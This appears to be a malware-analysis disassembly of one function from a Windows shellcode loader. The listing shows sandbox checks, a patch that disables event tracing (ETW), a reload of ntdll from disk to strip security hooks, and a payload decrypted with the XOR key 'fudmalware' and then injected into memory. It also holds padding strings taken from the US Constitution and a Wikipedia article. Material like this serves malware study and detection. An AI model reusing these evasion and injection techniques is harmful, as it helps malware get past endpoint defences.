Function at 0x14001e610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
mov eax, 0xe0f8
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
call fcn.14000b590
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.14000a5e0
xor r8d, r8d
mov qword [rbp + 0x3600], 0x6208c
lea rcx, [rbp + 0x88]
lea rax, [rbp + 0x98]
lea rdx, [rbp + 0x3600]
mov qword [rbp + 0x88], rax
lea rsi, [rbp + 0xc8]
call fcn.14001c630
lea r8, [0x1400830c0]
mov rcx, rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x3600]
lea rdx, [r8 - 0x6208c]
mov qword [rbp + 0x98], rax
call fcn.14001ad80
mov rax, qword [rbp + 0x3600]
mov rdx, qword [rbp + 0x88]
lea rcx, str.kernel32.dll
mov qword [rbp + 0x90], rax
mov byte [rdx + rax], 0
call fcn.140011c80
mov edx, 0xfd0820
mov rcx, rax
mov qword [rbp + 0x28], rax
call fcn.140011ea0
mov rcx, qword [rbp + 0x28]
mov edx, 0xd171487f
mov r12, rax
call fcn.140011ea0
lea rcx, str.User32.dll
mov rbx, rax
call fcn.140011c80
mov rcx, qword [rbp + 0x28]
mov edx, 0xf0677b50
mov rdi, rax
call fcn.140011ea0
lea rdx, [rbp + 0x3c]
mov rcx, rsi
mov dword [rbp + 0x3c], 0x10
call rax
mov edx, 0x535044
mov rcx, rdi
call fcn.140011ea0
mov rcx, rsi
call rax
lea rdx, str.DESKTOP_
mov rcx, rsi
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14001e73e
mov ebx, 1
jmp 0x14001ebdc
mov rcx, qword [rbp + 0x28]
mov edx, 0x1ac1f4ff
call fcn.140011ea0
call rax
cmp rax, 0x124f7f
jbe 0x14001e734
lea r14, str.ntdll.dll
xor r13d, r13d
lea rdi, [rbp + 0x70]
xor r15d, r15d
mov rcx, r14
call fcn.140011c80
mov rcx, r14
mov dword [rbp + 0x40], r13d
mov qword [rbp + 0x20], rax
call fcn.140011c80
lea rdx, str.NtTraceEvent
mov rcx, rax
call fcn.140011d00
mov rcx, qword [rbp + 0x28]
mov edx, 0x1c6a5211
mov rsi, rax
call fcn.140011ea0
lea r9, [rbp + 0x40]
mov edx, 1
mov rcx, rsi
mov qword [rbp + 0x18], r9
mov r13, rax
mov r8d, 0x40
call r13
mov r9, qword [rbp + 0x18]
mov edx, 1
mov rcx, rsi
mov byte [rsi], 0xc3
mov r8d, dword [rbp + 0x40]
call r13
call rbx
mov ecx, 6
mov qword [rbp + 0x10], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r14
call fcn.140011d80
mov rcx, qword [rbp + 0x10]
mov r9d, 0x18
lea r8, [rbp + 0x70]
mov rdx, rax
mov qword [rbp + 8], rax
call sub.KERNEL32.dll_K32GetModuleInformation
xor eax, eax
mov r14, qword [rbp + 0x70]
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
call r12
mov rcx, qword [rbp + 0x28]
mov edx, 0x71a68244
mov qword [rbp], rax
call fcn.140011ea0
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rdx
mov r8d, 0x1000002
xor edx, edx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp]
call rax
mov rcx, qword [rbp + 0x28]
mov edx, 0x90e5f37
mov qword [rbp - 8], rax
call fcn.140011ea0
xor r8d, r8d
xor r9d, r9d
mov edx, 4
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov rcx, qword [rbp - 8]
call rax
movsxd r12, dword [r14 + 0x3c]
mov word [rbp + 0x18], 0
mov qword [rbp - 0x10], rax
add r12, r14
lea rax, [r12 + 0x18]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp + 0x18]
cmp ax, word [r12 + 6]
jae 0x14001e945
mov rax, qword [rbp - 0x18]
movzx r10d, word [r12 + 0x14]
lea rdx, str..text
add r10, rax
movzx eax, word [rbp + 0x18]
imul rax, rax, 0x28
lea r15, [r10 + rax]
mov rcx, r15
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14001e93c
xor edi, edi
lea r9, [rbp + 0x3600]
mov r8d, 0x40
mov dword [rbp + 0x3600], edi
mov ecx, dword [r15 + 0xc]
mov qword [rbp - 0x20], r9
mov edx, dword [r15 + 8]
add rcx, r14
call r13
mov esi, dword [r15 + 0xc]
mov rdi, qword [rbp - 0x10]
mov ecx, dword [r15 + 8]
mov r9, qword [rbp - 0x20]
lea rax, [r14 + rsi]
add rsi, rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r15 + 0xc]
mov edx, dword [r15 + 8]
mov r8d, dword [rbp + 0x3600]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc word [rbp + 0x18]
jmp 0x14001e8a6
mov rcx, qword [rbp + 0x28]
mov edx, 0xfc97a3
lea rdi, [rbp + 0x3600]
lea r13, [rbp + 0x88]
lea r14, [rbp + 0xa8]
call fcn.140011ea0
mov rcx, qword [rbp + 0x10]
mov rsi, rax
call rsi
mov rcx, qword [rbp]
call rsi
mov rcx, qword [rbp - 8]
call rsi
mov rcx, qword [rbp + 0x28]
mov edx, 0xff79f6
xor esi, esi
call fcn.140011ea0
mov rcx, qword [rbp + 8]
call rax
lea rax, [rbp + 0xb8]
mov byte [rbp + 0xb8], 0
mov r12d, dword [rbp + 0x90]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rsi
xor esi, esi
cmp r12d, esi
jle 0x14001e9fe
mov r9d, 2
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call fcn.140015390
mov rcx, qword [rbp + 0x3600]
xor edx, edx
add rsi, 2
mov r8d, 0x10
call sub.msvcrt.dll_strtol
mov rcx, r14
movsx edx, al
call fcn.14001c810
mov rcx, rdi
call fcn.14001a5c0
jmp 0x14001e9b8
mov r12, qword [rbp + 0xb0]
lea rax, [r12 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.14000b590
mov r8d, 0xa
mov rsi, qword [rbp + 0xa8]
sub rsp, rax
mov rcx, r12
mov word [rbp + 0x6e], 0x6572
movabs rax, 0x61776c616d647566
lea r13, [rsp + 0x60]
mov qword [rbp + 0x66], rax
mov rdi, r13
rep movsb byte [rdi], byte [rsi]
cmp r12, rcx
je 0x14001ea5f
mov rax, rcx
xor edx, edx
div r8
mov al, byte [rbp + rdx + 0x66]
xor byte [r13 + rcx], al
inc rcx
jmp 0x14001ea44
mov rcx, qword [rbp + 0x20]
xor edx, edx
xor eax, eax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x48], rdx
mov edx, 0xb9bad4a4
lea rdi, [rbp + 0x48]
lea r14, [rbp + 0x50]
mov dword [rbp + 0x44], eax
call fcn.140011ea0
mov rsi, rax
call rbx
mov r9, r14
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xe4357e14
call fcn.140011ea0
mov r15, qword [rbp + 0x48]
mov rsi, rax
call rbx
xor r8d, r8d
mov r9, r12
mov rdx, r15
mov qword [rsp + 0x20], r8
mov rcx, rax
mov r8, r13
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x52e5c110
call fcn.140011ea0
mov rsi, rax
call rbx
mov r9d, 0x20
mov r8, r14
mov rdx, rdi
mov rcx, rax
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xf758add4
call fcn.140011ea0
mov rdi, qword [rbp + 0x48]
mov rsi, rax
call rbx
xor r10d, r10d
xor r11d, r11d
xor r8d, r8d
mov qword [rsp + 0x50], r10
mov r9, rax
lea rcx, [rbp + 0x58]
mov edx, 0x20000000
mov qword [rsp + 0x48], r10
lea rbx, [0x140083135]
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x30], r11d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea rdi, [rbp + 0x3600]
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x233945d0
lea rsi, str.Section_1:_Congress_nAll_legislative_Powers_herein_granted_shall_be_vested_in_a_Congress_of_the_United_States__which_shall_consist_of_a_Senate_and_House_of_Representatives._n_nSection_2:_The_House_of_Representatives_nThe_House_of_Representatives_shall_be_composed_of_Members_chosen_every_second_Year_by_the_People_of_the_several_States__and_the_Electors_in_each_State_shall_have_the_Qualifications_requisite_for_Electors_of_the_most_numerous_Branch_of_the_State_Legislature._n_nNo_Person_shall_be_a_Representative_who_shall_not_have_attained_to_the_Age_of_twenty_five_Years__and_been_seven_Years_a_Citizen_of_the_United_States__and_who_shall_not__when_elected__be_an_Inhabitant_of_that_State_in_which_he_shall_be_chosen._n_nRepresentatives_and_direct_Taxes_shall_be_apportioned_among_the_several_States_which_may_be_included_within_this_Union__according_to_their_respective_Numbers__which_shall_be_determined_by_adding_to_the_whole_Number_of_free_Persons__including_those_bound_to_Service_for_a_Term_of_Years__and_excluding_Indians_not_taxed__three_fifths_of_all_other_Persons._The_actual_Enumeration_shall_be_made_within_three_Years_after_the_first_Meeting_of_the_Congress_of_the_United_States__and_within_every_subsequent_Term_of_ten_Years__in_such_Manner_as_they_shall_by_Law_direct.The_number_of_Representatives_shall_not_exceed_one_for_every_thirty_Thousand__but_each_State_shall_have_at_Least_one_Representative__and_until_such_enumeration_shall_be_made__the_State_of_New_Hampshire_shall_be_entitled_to_chuse_three__Massachusetts_eight__Rhode_Island_and_Providence_Plantations_one__Connecticut_five__New_York_six__New_Jersey_four__Pennsylvania_eight__Delaware_one__Maryland_six__Virginia_ten__North_Carolina_five__South_Carolina_five__and_Georgia_three._n_nWhen_vacancies_happen_in_the_Representation_from_any_State__the_Executive_Authority_thereof_shall_issue_Writs_of_Election_to_fill_such_Vacancies._n_nThe_House_of_Representatives_shall_chuse_their_Speaker_and_other_Officers_and_shall_have_the_sole_Power_of_Impeachment._n_nSection_3:_The_Senate_nThe_Senate_of_the_United_States_shall_be_composed_of_two_Senators_from_each_State__chosen_by_the_Legislature_thereof__for_six_Years__and_each_Senator_shall_have_one_Vote._n_nImmediately_after_they_shall_be_assembled_in_Consequence_of_the_first_Election__they_shall_be_divided_as_equally_as_may_be_into_three_Classes._The_Seats_of_the_Senators_of_the_first_Class_shall_be_vacated_at_the_Expiration_of_the_second_Year__of_the_second_Class_at_the_Expiration_of_the_fourth_Year__and_of_the_third_Class_at_the_Expiration_of_the_sixth_Year__so_that_one_third_may_be_chosen_every_second_Year__and_if_Vacancies_happen_by_Resignation__or_otherwise__during_the_Recess_of_the_Legislature_of_any_State__the_Executive_thereof_may_make_temporary_Appointments_until_the_next_Meeting_of_the_Legislature__which_shall_then_fill_such_Vacancies._n_nNo_Person_shall_be_a_Senator_who_shall_not_have_attained_to_the_Age_of_thirty_Years__and_been_nine_Years_a_Citizen_of_the_United_States__and_who_shall_not__when_elected__be_an_Inhabitant_of_that_State_for_which_he_shall_be_chosen._n_nThe_Vice_President_of_the_United_States_shall_be_President_of_the_Senate__but_shall_have_no_Vote__unless_they_be_equally_divided._n_nThe_Senate_shall_chuse_their_other_Officers__and_also_a_President_pro_tempore__in_the_Absence_of_the_Vice_President__or_when_he_shall_exercise_the_Office_of_President_of_the_United_States._n_nThe_Senate_shall_have_the_sole_Power_to_try_all_Impeachments._When_sitting_for_that_Purpose__they_shall_be_on_Oath_or_Affirmation._When_the_President_of_the_United_States_is_tried__the_Chief_Justice_shall_preside:_And_no_Person_shall_be_convicted_without_the_Concurrence_of_two_thirds_of_the_Members_present._n_nJudgment_in_Cases_of_Impeachment_shall_not_extend_further_than_to_removal_from_Office__and_disqualification_to_hold_and_enjoy_any_Office_of_honor__Trust_or_Profit_under_the_United_States:_but_the_Party_convicted_shall_nevertheless_be_liable_and_subject_to_Indictment__Trial__Judgment_and_Punishment__according_to_Law._n_nSection_4:_Electi
call fcn.140011ea0
xor r8d, r8d
mov rcx, qword [rbp + 0x58]
xor edx, edx
call rax
mov rcx, qword [rbp + 0x20]
mov edx, 0x3373d
call fcn.140011ea0
mov rcx, qword [rbp + 0x58]
call rax
mov ecx, 0xaa6f
lea rdx, [rbp + 0x3600]
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
lea rdi, [rbp + 0xe8]
lea rsi, str.Operation_Praying_Mantis_was_an_attack_on_18_April_1988_by_the_United_States_Armed_Forces_within_Iranian_territorial_waters_in_retaliation_for_the_Iranian_naval_mining_of_international_waters_in_the_Persian_Gulf_during_the_IranIraq_War_and_the_subsequent_damage_to_an_American_warship._n_nOn_14_April__the_guided_missile_frigate_USS_Samuel_B._Roberts_struck_a_mine_while_deployed_in_the_Persian_Gulf_as_part_of_Operation_Earnest_Will__the_198788_convoy_missions_in_which_U.S._warships_escorted_reflagged_Kuwaiti_oil_tankers_to_protect_them_from_Iranian_attacks._The_explosion_blew_a_4.5_m__15_foot__hole_in_the_Samuel_B._Robertss_hull_and_nearly_sank_it._The_ships_engine_room_and_engineering_quarters_were_flooded__three_generators_rendered_useless__and_the_ships_electrical_system_ceased_working_as_the_warship_rapidly_took_in_water._4__n_nThe_crew_saved_their_ship_with_no_loss_of_life__and_the_Samuel_B._Roberts_was_towed_to_Dubai__United_Arab_Emirates_on_16_April._After_the_mining__U.S._Navy_Explosive_Ordnance_Disposal__EOD__divers_recovered_other_mines_in_the_area._When_the_serial_numbers_were_found_to_match_those_of_mines_seized_along_with_the_Iran_Ajr_the_previous_September__U.S._military_officials_planned_a_retaliatory_operation_against_Iranian_targets_in_the_Persian_Gulf._n_nThe_attack_by_the_U.S._helped_pressure_Iran_to_agree_to_a_ceasefire_with_Iraq_later_that_summer__ending_the_eight_year_conflict_between_the_Persian_Gulf_neighbors._5__n_nOn_6_November_2003__the_International_Court_of_Justice_ruled_that__the_actions_of_the_United_States_of_America_against_Iranian_oil_platforms_on_19_October_1987__Operation_Nimble_Archer__and_18_April_1988__Operation_Praying_Mantis__cannot_be_justified_as_measures_necessary_to_protect_the_essential_security_interests_of_the_United_States_of_America.__However__the_International_Court_of_Justice_dismissed_Irans_claim_that_the_attack_by_the_United_States_Navy_was_a_breach_of_the_1955_Treaty_of_Amity_between_the_two_countries_as_it_only_pertained_to_vessels__not_platforms._6__n_nThis_battle_was_the_largest_of_the_five_major_U.S._naval_surface_engagements_since_the_Second_World_War__which_also_include_the_Battle_of_Chumonchin_Chan_during_the_Korean_War__the_Gulf_of_Tonkin_incident_and_the_Battle_of_Dong_Hoi_during_the_Vietnam_War__and_the_Action_in_the_Gulf_of_Sidra_in_1986._It_also_marked_the_U.S._Navys_first_exchange_of_anti_ship_missiles_with_opposing_ships_and_the_only_occasion_since_World_War_II_on_which_the_U.S._Navy_sank_a_major_surface_combatant._n_nBattle_n_nThis_section_needs_additional_citations_for_verification._Please_help_improve_this_article_by_adding_citations_to_reliable_sources_in_this_section._Unsourced_material_may_be_challenged_and_removed.__April_2011___Learn_how_and_when_to_remove_this_template_message__nOn_18_April__the_U.S._Navy_attacked_with_several_groups_of_surface_warships__plus_aircraft_from_the_aircraft_carrier_USS_Enterprise__and_her_cruiser_escort__USS_Truxtun._The_action_began_with_coordinated_strikes_by_two_surface_groups._n_nOne_surface_action_group__or_SAG__consisting_of_the_destroyers_USS_Merrill__including_embarked_LAMPS_Mk_I_helicopter_detachment_HSL_35_Det_1_Helicopter_Anti_Submarine_Squadron_Light_35__and_USS_Lynde_McCormick__plus_the_amphibious_transport_dock_USS_Trenton_and_its_embarked_Marine_air_ground_task_force__Contingency_MAGTF_2_88_from_Camp_LeJeune__NC__7__and_the_LAMPS_helicopter_detachment__HSL_44_Det_5__from_USS_Samuel_B._Roberts__was_ordered_to_destroy_the_guns_and_other_military_facilities_on_the_Sassan_oil_platform._At_8_am__the_SAG_commander__who_was_also_the_commander_of_Destroyer_Squadron_9__ordered_the_Merrill_to_radio_a_warning_to_the_occupants_of_the_platform__telling_them_to_abandon_it._The_SAG_waited_20_minutes__then_opened_fire._The_oil_platform_fired_back_with_twin_barrelled_23_mm_ZU_23_guns._The_SAGs_guns_eventually_disabled_some_of_the_ZU_23s__and_platform_occupants_radioed_a_request_for_a_cease_fire._The_SAG_complied._After_a_tug_carrying_more_personnel_had_cleared_the_area__the_ships_resumed_exchanging_fire_with
call fcn.140011e30
lea rdx, [rbp + 0xe8]
mov ecx, 0xd46
rep movsd dword [rdi], dword [rsi]
mov rcx, rbx
xor ebx, ebx
call fcn.140011e30
lea rcx, [rbp + 0xa8]
call fcn.14001a5c0
lea rcx, [rbp + 0x88]
call fcn.14001a5c0
mov eax, ebx
lea rsp, [rbp + 0xe078]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret